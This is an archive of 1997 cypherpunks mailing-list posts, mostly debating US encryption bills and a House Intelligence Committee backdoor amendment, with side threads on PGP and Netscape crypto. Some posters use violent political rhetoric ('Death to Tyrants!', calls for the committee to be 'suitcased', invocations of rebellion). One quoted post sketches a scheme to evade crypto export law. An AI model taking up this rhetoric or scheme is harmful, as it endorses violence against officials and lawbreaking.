From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Fri, 12 Sep 1997 07:55:37 +0800
To: Steve Mynott <stevey@webmedia.com>
Subject: Re: Netscape browser crypto
In-Reply-To: <3417D3FD.7EE214DC@webmedia.com>
Message-ID: <341881A0.EA4987B5@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Mynott wrote:
> 
> I notice Netscape 4 has support for "cryptographical modules" and comes
> with PKCS#11 module.  Are there any third party modules (PGP?)
> available?

There are a number of hardware vendors with PKCS#11 modules for smart
cards
and other hardware devices.  These include Litronic, Chrysalis-ITS and
DataKey.

> Also is it possible to import certificates (PGP?) into the browser so
> you aren't stuck with Verisign et al.

You can import X.509 certificates and private keys.  The data format is
an
early version of PKCS#12, which is actually more similar to MicroSoft's
PFX.  I believe the spec is available on our web site.  There are also a
number of other CAs on the web, including Thawte in South Africa.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 12 Sep 1997 05:12:02 +0800
To: cypherpunks@toad.com
Subject: Re: Freeh says FBI doing great, supports Weaver killer
Message-ID: <b769f4c3bcd1859a547175bb2effe294@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
 
> I wonder how the SS at Stanford will react to my "Death Penalty for Waco
> Commander in Chief!" placard?

Any truth to the rumor that Kent Crispin will be beside you with a
placard saying "I'm not a shill--I'm a pawn."?

CrispinCritter







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 11 Sep 1997 23:23:46 +0800
To: cypherpunks@toad.com
Subject: Re: THE COSMOS THE UNIVERSE
Message-ID: <199709111458.QAA24982@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



The question is not: "Is this guy getting good Acid?"

The question is: "Did he bring enough for *everybody*?"

RBL@cosmos.com wrote:
> 
> E=MC  The equation for the atom bomb. It says that matter and energy are the
> same thing. So then what is that? Matter, look at a brick. Its in a three dimensional
> form. Its made of electrons,  protons and neutrons (atoms) and they are moving so
> the brick is moving. Energy, sunlight. Its in a three dimensional form. It comes to us
> from the sun therefore it is moving. 3D and moving Both matter and energy are 3D
> and moving. I outproduce Einstein. We already know all matter has gravity. The
> bending of light shows that energy has gravity also. So matter and energy are
> 3D moving with gravity. The universe is made of matter, energy, time and space.
> That just stated is the matter and energy part. Time and space. Take everything
> in the universe and stop it. Does time progress? No. Therefore time is the motion
> and the understanding of all the motion is the understanding of all of time.
> Space, it ends. Space does not go on forever. Space is in a three dimensional
> form. It moves but does not have gravity. Space moves like this.   O  /\  +  \/  O
> And that is the understanding of all of time.
>    O   This is what was first in the beginning.
>    /\  This is the old kings and queens.
>    +   This is democracy.
>    \/  This is socialism.
>    O   This is when the Lord Jesus Christ returns.
> And that is the understanding of the universe.  Glory be to the Father the Son
> and the Holy Ghost. Revelation chapter 10 & 11; 15-19. It is very important the
> people receive this information. You may tell someone about this.
>                                                  Thank You
>                                                Robert Lavelle





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 12 Sep 1997 08:12:17 +0800
To: cypherpunks@Algebra.COM
Subject: Let sleeping dogs lay
Message-ID: <v03102805b03e323fd56e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




"Nothing good can come out of crypto legislation."

--said by several of us over the past year


The big mistake was ever introducing the SAFE and Pro-CODE bills, as it
brought the NSA and FBI out of their warrens and into the warrens of
Congress. Without any crypto bills at all, it is possible (though by no
means certain) that no legislation at all would have been introduced this
year.

But once SAFE and Pro-CODE were out there, on the table, the forces in
favor of a surveillance state began their lobbying in earnest, giving the
infamous "if you only knew what we knew" scare tactic pitches. Last minute
amendments and even complete bill replacements are easier to slip in than a
Big Brother bill from the gitgo. Sure enough, the tide is now moving
swiftly toward a future far, far, far worse than the mere annoyance of
export controls.

Several committees are now competing to see which can "protect us" from the
Four Horsemen the best.


The archives say this many times. For a change, and to forestall criticism,
I'll find a quote from someone other than me. For example, Mike Duvos said
this, last June, 1997-06-19:

"You really can't fight Congress.  Ten minutes after you defeat a
bill and spend all your resources, it will be back on the floor
under another name and the whole thing will start over again.
After you defeat that one, you will discover that the text of the
measure got passed late one night as an ammendment to something
completely unrelated.

"The government has infinite resources to harp incessantly on
anything until they engineer consent for it and get what they
want. Resistance is Futile.  You will be Assimilated."

Recall that several of us were involved in a serious battle with Rotenberg
over the basic wisdom of the CDT and EPIC types pushing for export
legislation, with (even then) unacceptable language about "use a cipher, go
to prison." The current language is of course a full-blown disaster.
Pandora's box was opened by SAFE and Pro-CODE.

And so here we are. Multiple committees in both houses jockeying to see who
can clamp down the hardest on crypto.

CDT, EPIC, and all the other Beltway insiders ought to think about this
mess. Sometimes it's better just to let sleeping dogs lay. Or lie. Or
whatever.

Time to just pull out of D.C. It is corruption on Earth.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 12 Sep 1997 08:28:29 +0800
To: Jim Ray <fight-censorship@vorlon.mit.edu
Subject: RE: Hiawatha Bray's column on key-recovery crypto
In-Reply-To: <3.0.16.19970911185752.0e5f917c@pop.gate.net>
Message-ID: <v03102806b03e38033026@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:30 PM -0700 9/11/97, Jim Ray wrote:

>Bernstein? I can understand (while not agreeing with...) my local
>rag's opposition to the second amendment, but the total apathy
>shown to dangers faced by the first is hard to fathom. I read the
>Herald pretty carefully, yet there has been NOTHING this week on
>the crypto-controversy. Nothing. While I often disagree with the
>Miami Herald's reporting decisions (both substance and emphasis)
>it is rare that I find it this scary. <sigh>

As Declan noted, when he wrote,

"* Ban on sale of crypto without a backdoor. Five year & fine (maybe
$250,000?) if violated. Prosecutions can be held in closed-door
courtrooms, publishers of info about case to be held in contempt of court."

this means newspapers may not write articles on this case, or the law.

This is why the "Miami Herald" dares not cover this.

(But seriously, the above example cited, that publishers of info being held
in contempt of court, seems too wacky even for the current Congress. Have
they no understanding of what a free press is? Free press applying to any
of us, of course, and not just to the "officially recognized major news
sources." I can't beleve that could withstand court scrutiny.)

And the prosecutions in closed-door courts would seem also to violate
various provisions of the Constitution, including the 6th. (That the
"foreign intelligence surveillance court" (FISUR) has not been challenged
perhaps has to do with its origins under one of the Emergency Powers
things, and its limited applicability to ordering surveillance. But to
extend this to, say, the prosecution of someone, even a citizen, seems like
a blatant "star chamber" situation.)

The rest of this verison is equally bad--sounding. (I mention "this
version," because each of the committees--Intelligence, Commerce, National
Security, whatever--is fighting to make their versions more Big Brotherish.)

What a fucking bunch of criminals.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 12 Sep 1997 08:40:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: More on House Intelligence committee on crypto
Message-ID: <19970912002736.17098.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:

 > So I'm reading through the 43-page amendment to SAFE that
 > the House Intelligence committee approved today. It
 > includes:

 > * Ban on sale of crypto without a backdoor. Five year &
 > fine (maybe $250,000?) if violated. Prosecutions can be held
 > in closed-door courtrooms, publishers of info about case to
 > be held in contempt of court.
[snip]

Clearly the entire House Intelligence Committee should be
"suitcased" immediately.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Wilson <0005514706@MCIMAIL.COM>
Date: Fri, 12 Sep 1997 05:40:56 +0800
To: cypherpunks <cypherpunks@Algebra.COM>
Subject: Cypherpunk Press <sarcasm>
Message-ID: <01INJ4P6WOZCAH2QDR@DGN0IG.mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain



<sarcasm alert>

Perhaps we should start suggesting to members of the press that they
ask the U.S. Congress members how far they take the position of key
escrow.

After all, the primary government utilization of cryptography is in
the military and intelligence community.  Given the long, colourful
history of rogue operations and criminal actions hidden under the
cover of secrecy (including the usage of strong cryptographic systems),
we might propose that the U.S. and other governments escrow their own
keys--how about the UN, with the Security Council members having the
right to decipher messages, or InterPol, or the World Court.

After all, if individuals have no right to privacy, why should any
organization have one?  Is the right to privacy and secrecy something
that comes from additive rights?  Does it come from possession of
military force, up to and including nuclear weapons?  What's the line?
I personally wouldn't mind knowing the threshold I need to cross to
have a 'right' to privacy.  It gives me a goal.

What is not good for the swarm is not good for the bee. 
--Marcus Aurelius Antoninus

Michael Wilson
http://www.7pillars.com/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend+cypherpunks@sten.tivoli.com>
Date: Fri, 12 Sep 1997 06:59:47 +0800
To: cypherpunks@ssz.com
Subject: [COMMERCIAL]  Scars and stripes forever
Message-ID: <vpu3frh39e.fsf@sten.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


http://www.diamdcom.com/previews/premier/unclesam_feature.html

		      Scars and stripes forever

			      UNCLE SAM

"There's nothing we can do for you."  The dismissive doctor's words
echo in the old vagrant's head as he's ejected from a hospital.
Moments later, the other voices return.  They're about to take him on
a journey to the dark heart of America in UNCLE SAM, a two-issue
Prestige Format VERTIGO miniseries, fully painted by award-winning
painter Alex Ross (KINGDOM COME) and written by Steve Darnall (the
Eisner Award-nominated Empty Love Stories).

Clad in star-spangled rags, a man named Sam wanders city streets,
struggling to remember his true identity.  As the voices in his head
begin to make a terrible kind of sense, they set off time-traveling
visions that drag him through the worst of his nation's history, while
hinting that he may have a violent past of his own.

Is he Uncle Sam - or one of U.S.?

Through it all, a mysterious woman keeps appearing, staying just out
of reach.  Is she Sam's lover, ally, or just, in the end, a madman's
dream?  He won't have all the answers until he reaches "a white city
by the unsalted sea" - and a most formidable foe.

Darnall and Ross team up for a multilayered look at the failed dreams
and fallen heroes of a nation under siege...from itself.  Told through
a mystery man's eyes, UNCLE SAM sweeps from the Revolutionary War to
the Dust Bowl and beyond.  In his VERTIGO debut, Alex Ross takes his
remarkably realistic style to new heights, using spectacular splash
pages and a wide-ranging palette to bring America's darkest historical
moments - as well as a hallucinatory parade of other American icons -
to life.

- -- 
#include <disclaimer.h>                               /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
"A well-regulated population being necessary to the security of a
police state, the right of the Government to keep and destroy arms
shall not be infringed."


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQBVAwUBNBh2PPCBWKvC9LiRAQH6fgH/c7oOvSs9ArNDFTbz/VHYBYqEzY7teHPQ
3YP7l6P+O5RAo9aUcPxgVRsnWG91iB4vUqwws1WRVholtIcKZ3DP8A==
=4hBM
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Fri, 12 Sep 1997 00:20:53 +0800
To: scottadams@aol.com
Subject: Dear Scott Adams: I hear you need a fresh target...
Message-ID: <199709111556.RAA00342@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




You could do the world a favor by making fun of recent
GAK (Government Accesst to Keys) proposals which are
currently circulating in the organs of power under
newspeak names like "key escrow" and "key recovery".


Also, it's an easy target, and a big issue with a lot
of your techie readers.


Have some leader on television announce that henceforth
all e-mail will be scanned by federal investigatory 
gremlins in the name of public safety, but never fear!!
For your privacy will be PERSONALLY GUARANTEED by the
new Privacy Czar...


<camera pans...>


Catbert!



Or Dogbert.  Or Ratbert, heck.  Or Bob!  Lots of your 
characters make good government leaders.


:-)


Thanks!


Zooko, Journeyman Wizard

P.S.  I think I'll Cc: this to the cypherpunks.  No 
doubt they will hack your account and send you death 
threats and make me regret it, but heck, maybe you can 
get some good mileage out of making fun of THEM, too.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Fri, 12 Sep 1997 00:26:59 +0800
To: wathab@tiac.net
Subject: How to use PGP without wasting your time
Message-ID: <199709111559.RAA00536@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



The trick is:

1. don't go overboard with security.  For example, I sometimes
use PGP keys without passphrases.  This is secure _enough_ for
my more innocuous messages, and it is a lot more convenient.

2. get a scriptable/configurable e-mail agent which you can
train (or have me or some cypherpunk train) to do PGP for you 
automagically.


Regards,

Zooko, Journeyman Cryptorebel





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 12 Sep 1997 09:20:17 +0800
To: Tim May <tcmay@got.net>
Subject: Court proceedings under new SAFE act
In-Reply-To: <v03102806b03e38033026@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970911175628.12105l-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm reading the bill more closely. This is incredibly slick work.

1. When it appears that any person is selling, importing, or distributing
non-backdoor'd crypto or "about" to do so, the Atty General can sue to
stop them. "Upon the filing of the complaint seeking injunctive relief by
the Attorney General, the court shall automatically issue a temporary
restraining order against the party being sued." 

2. There are provisions for closing the proceedings -- at the request of
the "party against whom injunction is being sought." "Public disclosure of
the proceedings shall be treated as contempt of court." Can also be closed
if judge makes finding. 

3. You can request an advisory opinion from the Atty Gen to see if crypto
you're about to give out (even for free) violates the law. That will get
you off the hook during any prosecution. 

4. If DoJ loses at trial court, they get an expedited appeal. 

More interestingly, this gives courts including the FISA court (yes, the
secret court that has never denied a request for a wiretap) jurisdiction;
they can issue ex parte orders giving police access to plaintext. Also
lets U.S. government coordinate with other governments in doing such.

You get notified not later than 90 days afterwards. There are a lot of
other "checks and balances" here that will be touted as safeguards.

-Declan


On Thu, 11 Sep 1997, Tim May wrote:

> At 4:30 PM -0700 9/11/97, Jim Ray wrote:
> 
> >Bernstein? I can understand (while not agreeing with...) my local
> >rag's opposition to the second amendment, but the total apathy
> >shown to dangers faced by the first is hard to fathom. I read the
> >Herald pretty carefully, yet there has been NOTHING this week on
> >the crypto-controversy. Nothing. While I often disagree with the
> >Miami Herald's reporting decisions (both substance and emphasis)
> >it is rare that I find it this scary. <sigh>
> 
> As Declan noted, when he wrote,
> 
> "* Ban on sale of crypto without a backdoor. Five year & fine (maybe
> $250,000?) if violated. Prosecutions can be held in closed-door
> courtrooms, publishers of info about case to be held in contempt of court."
> 
> this means newspapers may not write articles on this case, or the law.
> 
> This is why the "Miami Herald" dares not cover this.
> 
> (But seriously, the above example cited, that publishers of info being held
> in contempt of court, seems too wacky even for the current Congress. Have
> they no understanding of what a free press is? Free press applying to any
> of us, of course, and not just to the "officially recognized major news
> sources." I can't beleve that could withstand court scrutiny.)
> 
> And the prosecutions in closed-door courts would seem also to violate
> various provisions of the Constitution, including the 6th. (That the
> "foreign intelligence surveillance court" (FISUR) has not been challenged
> perhaps has to do with its origins under one of the Emergency Powers
> things, and its limited applicability to ordering surveillance. But to
> extend this to, say, the prosecution of someone, even a citizen, seems like
> a blatant "star chamber" situation.)
> 
> The rest of this verison is equally bad--sounding. (I mention "this
> version," because each of the committees--Intelligence, Commerce, National
> Security, whatever--is fighting to make their versions more Big Brotherish.)
> 
> What a fucking bunch of criminals.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Fri, 12 Sep 1997 00:27:05 +0800
To: cypherpunks@toad.com
Subject: in defense of Lon Horiuchi
Message-ID: <199709111616.SAA13376@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




 Anonymous <anon@anon.efga.org> mumbled:
>
> It's amazing that Freeh would admit that shooting an unarmed
> woman holding an infant is what "he was trained to do" and was "within
> the scope of his authority" and that he "reasonably believed [it] was
> proper" to do so.  What are they teaching at FBI school nowadays?
> 
> Horiuchi's defense is really no different than Timothy
> McVeigh's: "yes, it was a mistake but he felt it was justified and
> reasonably believed at the time that what he was doing was proper..."
> Too bad McVeigh didn't have a badge saying FBI on it.


Lest any naive readers who aren't familiar with the details of
the event buy this kind of spin-doctoring, please be aware that
the woman in question was probably not visible to the sniper, 
and it is almost certain that he was aiming at her armed 
husband who was shooting back.  The bullet travelled through a
door or some such obstruction I think (I forget the details) 
before hitting the victim.


You could more reasonably blame the husband for having the 
stupidity or carelessness to get in a firefight with his wife 
and child in the building.


More generally, don't buy any of the spin that anonymous 
cypherpunks (and plenty of named ones) like to put on such 
stories without reading the more balanced accounts yourself.
Anonymous, above, would _like_ you to think of the FBI sniper 
Lon Horiuchi as a murderous baby-killer who chuckled gleefully
when he saw his opportunity to take out a toddler.  Anonymous 
is no different from hatemongering pamphleteers and propaganda 
ministers in any penny-ante revolution or Orwellian minitru.  
Perhaps he's on the side of the good guys, but his tactics 
have the same stink that I recognize from reading the 
propaganda blurbs of the bad guys.



Regards,

Zooko, Journeyman Engineer





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec McCrackin <camcc@abraxis.com>
Date: Fri, 12 Sep 1997 07:04:13 +0800
To: <pooh@efga.org>
Subject: Re: encrypting images
In-Reply-To: <3417CC1A.783A@noord.bart.nl>
Message-ID: <3.0.2.32.19970911182948.007f9a20@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 02:33 PM 9/11/97 -0400, you wrote:
|-----BEGIN PGP SIGNED MESSAGE-----
|
|At 12:46 PM 9/11/97 +0200, croughs wrote:
|>Is it possible to encrypt images using PGP?
|
|PGP will encrypt any file.  The win95 version allows you to do it with one 
|click of a mouse button from explorer, as PGP becomes fully integrated into 
|Win95.

Allow me to add that it is also quite easy to (1) hide a short PGP encrypted 
message within the jpeg or gif thereby hiding the fact one is using PGP at 
all or (2) hide an unencrypted message within a jpeg or gif file and encrypt 
the combination. And don't forget wav files also as envelopes.

Choose the medium for maximum message size (and pleasure).

Alec    
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNBhw3CKJGkNBIH7lAQG/vAP/f5wNrI2WFNvarHTfOd+6cGCCvm2Un+Yr
ikXOqLUNxjJI/MuY8AEuDRmTzgnk/gPwojQ0lEI8S1DN8X0TreXHE76sY5K04d/+
DxqSV1qGk2t6w6iJjasOnd30S1HZGqzAOnPqGFvbpqMAKB1q2HqowiLpWTdjwGbB
OXnw4mRAYXQ=
=Facd
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 12 Sep 1997 03:29:12 +0800
To: toto <cypherpunks@cyberpass.net>
Subject: selective prosecution [was Re: House National Security committee guts SAFE, worse than no bill]
In-Reply-To: <34181404.1896@sk.sympatico.ca>
Message-ID: <199709111913.NAA03974@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    in response to Bubba Rom Dos <bubba@dev.null>:

    unfortunately, the US DOJ indulges in "selective prosecution" when 
    confronted by mass disobedience. there is nothing in the code which 
    requires them to prosecute a 'class' of 'lawbreakers'.  What they want 
    is a few high profile targets who will be reported by their captive 
    pet, the 'press' to set an example.

    the last figures I saw on the feds body count was still over 90% of 
    those who go to trial. in most US districts, the mere fact the 'guilty 
    scumbag' was charged by the feds indicates to most jurors (federal 
    jurors have a tendency to be older, whiter, wealthier, etc.) that the 
    man in the dock is guilty beyond a reasonable doubt (whose?). 
    secondly, particularly in the federal courts, you have a man sitting
    36in above you, in a black robe, with an IQ of 50, who answers to:
    "your honor" --and you better believe with all your heart and 
    soul that the ignorant fool is Judge Roy Bean, the Law West of 
    the Pecos, himself  --or worse.

    for instance, do you think the feds would ever have a Chicago Seven 
    trial again?  what do you think the outcome would have been if they
    took 'em down, one at a time, in different courtrooms?  think Tom Hayden 
    would be a CA legislator today, representing the Peoples Republic of 
    Santa Monica?

    dont get me wrong --if nothing else, the evidence of the absurdity of
    the feds actions trying to regulate an amorphous global network can
    always be introduced.  maybe enough repetition will get the message
    across.

    and, the actions in Washington are fast approaching the 
    necessity for the Jeffersonian call to arms:

          "God forbid we should ever be twenty years without a  
            rebellion." 
                --Thomas Jefferson, (1743-1826) 
 
    I'm sure you would hav Jefferson, Franklin, Paine, etc out on the
    front line if they were here today (if they did not die from digust
    from what the Fed has become, but the trick is to make sure you
    are not a minority of one:

          "Revolutions, we must remember, 
            are always made by minorities." 
                --Prince Peter Kropotkin (1842-1941) 
 
    unfortunately, it will take the foolishness in the face of fire as
    so graphically sketched in 'les miserab' to move Washington off
    their sacrosanct fat asses.

 --
  I'll get a life when it is proven
    and substantiated to be better
      than what I am currently experiencing.
            --attila

  When I die, please cast my ashes upon Bill Gates. 
     For once, let him clean up after me!
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

on or about 970911:0953 
    Bubba Rom Dos <bubba@dev.null> expostulated:

+ Also, if need be, a system could be set up in Canada which
+automatically
+forwards received email to the U.K. and a chain-mail type of campaign 
+could begun, exhorting people to send a copy of strong encryption to
+the Canadian email address, without referrring to any further
+destination.
+  This is just a possible example, the goal being to make any possible
+prosecution as convoluted and difficult as possible, just as the Govt
+passes unconstitutional laws that serve their purpose for the ten years
+it takes to get them struck down by the Supremes, and then they pass a
+similar one to accomplish the same unconstitutional ends.

+2. The same type of system could be set up, but programmed to only
+forward crypto products illegally once a certain number of citizens had
+forwarded a small amount of hash-cash (CPU generated funds) to the
+originating computer/program.
+  Several thousand people openly colluding in even a single act such as
+this could be effectively used to provide a challenge to the fascist
+censors. If not successful, then the amount and destinations of the
+exported crypto could be increased to the point of making the export
+restrictions a total joke.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNBhClb04kQrCC2kFAQH+JwP/ZnrJZHXZIiR+ddt/XH2tOfb33/uOYQ+Z
CSNlUd2tS8ujgVqzfcywKhKPU6f4gFQzwXX76S7Ahf6mWagVzLoxqfTuCrzHdCFb
8PkLct5uXHcmUH4LGDVwTYr7R/or7ZozPEW9ERFJK1N6fPwhukFSl83WYtCR8kKl
yhhx97VTuGk=
=zvaj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James S. Tyre" <j.s.tyre@worldnet.att.net>
Date: Fri, 12 Sep 1997 10:03:40 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Court proceedings under new SAFE act
In-Reply-To: <Pine.GSO.3.95.970911175628.12105l-100000@well.com>
Message-ID: <3418A06A.2C40@worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



> I'm reading the bill more closely. This is incredibly slick work.
> 
> 1. When it appears that any person is selling, importing, or distributing
> non-backdoor'd crypto or "about" to do so, the Atty General can sue to
> stop them. "Upon the filing of the complaint seeking injunctive relief by
> the Attorney General, the court shall automatically issue a temporary
> restraining order against the party being sued." 

Fucking A, Declan!  (A highly precise legal term of art for all you
laypeople out there.)  Even if these guys don't give a shit about the
First Amendment, or have forgotten how hard it is to get a prior
restraint Order, have they excised the Separation of Powers doctrine
from the Constitution too?

oh.forgot.national security.never mind.

-Jim





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 12 Sep 1997 09:15:38 +0800
To: Declan McCullagh <declan@well.com>
Subject: World's Greatet Search Engine / Re: More on House Intelligence committee amendment on crypto
In-Reply-To: <Pine.GSO.3.95.970911152027.12105Z-100000@well.com>
Message-ID: <34189284.41F6@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> So I'm reading through the 43-page amendment to SAFE that the House
> Intelligence committee approved today. It includes:
> 
> * Ban on sale of crypto without a backdoor. Five year & fine (maybe
> $250,000?) if violated. Prosecutions can be held in closed-door
> courtrooms, publishers of info about case to be held in contempt of court.

How about a ban on sale of Congressional votes without using vaseline
on the citizen's backdoor?

World's Greatest Search Engine?
  It's the one that finds the names of the Justice Department officials
who went to jail for contempt of court when they defied Congress during
the INSLAW hearings.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Fri, 12 Sep 1997 04:06:23 +0800
To: cypherpunks@Algebra.COM
Subject: Major Political Appointments
Message-ID: <9444d0e6fbf56e483db16d0bf776d0a4@squirrel>
MIME-Version: 1.0
Content-Type: text/plain





> 	Clinton Nominates Aaron to Commerce Department Post

> 	WASHINGTON, Sept. 8 /U.S. Newswire/ -- President Clinton today
> announced his intent to nominate Ambassador David L. Aaron for the
> position of Under Secretary for International Trade at the Department
> of Commerce.

and

> 	WASHINGTON (AP) - FBI Director Louis Freeh today declared his
> agency "in great shape" despite a recent spate of public relations
> embarrassments and said he has no plans to step down from his job.

>	But today, Freeh said he may even serve out his 10-year term.
>	"I'm staying on," he said. "I've got no current plans to leave."



Freeh denied reports that Froomkin, Junger, Broiles, Karn and Shostack had
large vacant portions at the back end of their calendars, or that Crispin
and Toto had not even bothered to order one for next year.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Del Torto <ddt@pgp.com>
Date: Fri, 12 Sep 1997 10:15:56 +0800
To: cypherpunks@cyberpass.net
Subject: House Intelligence Committee Press Release
Message-ID: <v0400130eb03e52897697@[205.180.136.85]>
MIME-Version: 1.0
Content-Type: text/plain



INTELLIGENCE COMMITTEE OFFERS ALTERNATIVE ENCRYPTION LEGISLATION TO ADDRESS
SECURITY CONCERNS

SEPTEMBER 11, 1997
CONTACT (202) 225-4121

The House Permanent Select Committee on Intelligence (HPSCI) today
approved, by voice vote, legislation proposing an alternative to pending
encryption legislation, known as the "Security and Freedom Through
Encryption Act" (H.R. 695).

The HPSCI amendment in the nature of a substitute to HR 695 proposes
safeguards in the law to meet national security and law enforcement
concerns in the debate over the future of United States Encryption policy.

"All members of Congress, and particularly those of us on the Intelligence
Committee, have a responsibility to find the proper balance between forward
thinking commercial policies and the unquestioned need to protect the
security of the American people and America's national interests. We are
offering proposals to ensure that we do not plow full steam ahead into the
21st century's information age having seriously weakened our ability to
protect the national security, " said HPSCI Chairman Porter J. Goss
(Fl-14).

"American citizens have a right to their privacy and their access to the
freest possible markets. But they also have a right to their safety and
security. Terrorist groups that plot to blow up buildings; drug cartels
that seek to poison our children, and those who proliferate in deadly
chemical and biological weapons are all formidable opponents of peace and
security in the global society. These bad actors must know that the United
States' law enforcement and national security agencies, working under the
proper oversight, will have the tools to frustrate illegal and deadly
activity and bring international criminals to justice," Goss said.

"The bill referred to the Intelligence Committee attempts to deal with
complex issues. The substitute adopted by the Committee addresses the
legitimate national security and law enforcement concerns that are simply
not addressed in H.R. 695. In that respect, the Committee substitute, in my
judgment, furthers the debate on these important matters," noted Ranking
Democrat Norm Dicks (WA-6).

The main elements of the Intelligence Committee's proposal are:

* Requires exports of encryption products to submit to a one-time review
and to include features or functions (that need not be enabled by the
manufacturer) allowing for immediate access to plaintext or to decryption
information;

* Requires that encryption products manufactured and distributed for sale
or use, or import for sale or use, in the United States after January 31,
2000 include features or functions that provide, upon presentment of a
court order, immediate access to plaintext data or decryption information
from the encryption provider;

* Does not change law enforcement's statutory requirements prior to
intercepting oral, wire, or electronic (wireless) communications, or law
enforcement's requirements prior to obtaining stored data. Law enforcement
will specifically be required to obtain a separate court order to have
data, including communications, decrypted;

* Allows for law enforcement access with delayed notification requirements,
similar to those allowed in current wiretap statutory provisions:

* Provide civil remedies and criminal penalties for unlawful access to or
disclosure of plaintext or decryption information;

* Require US government procurement of encryption technology that includes
functions or features allowing for immediate access to plaintext or
decryption information.

"Our committee has weighed in on these issues in the interest of furthering
the important debate now underway about how best to accomplish the multiple
goals of a sound encryption policy. Any encryption legislation we consider
must take a balanced approach to the national security, law enforcement,
public safety and privacy issues at stake. Our action today marks another
step in this process, which no doubt will continue to unfold in the days
and weeks ahead. I look forward to working with all sides on this debate as
we tackle this complex but important issue," Goss said.

The HPSCI, which sought and received sequential referral of H.R. 695, is
one of five House committees with jurisdiction on this issue. The
Committees on Judiciary, International Relations, National Security and
Commerce have also considered this legislation. The HPSCI expects to file
its committee report with the House tomorrow, meeting its deadline for
action set by the Speaker.

 -30-






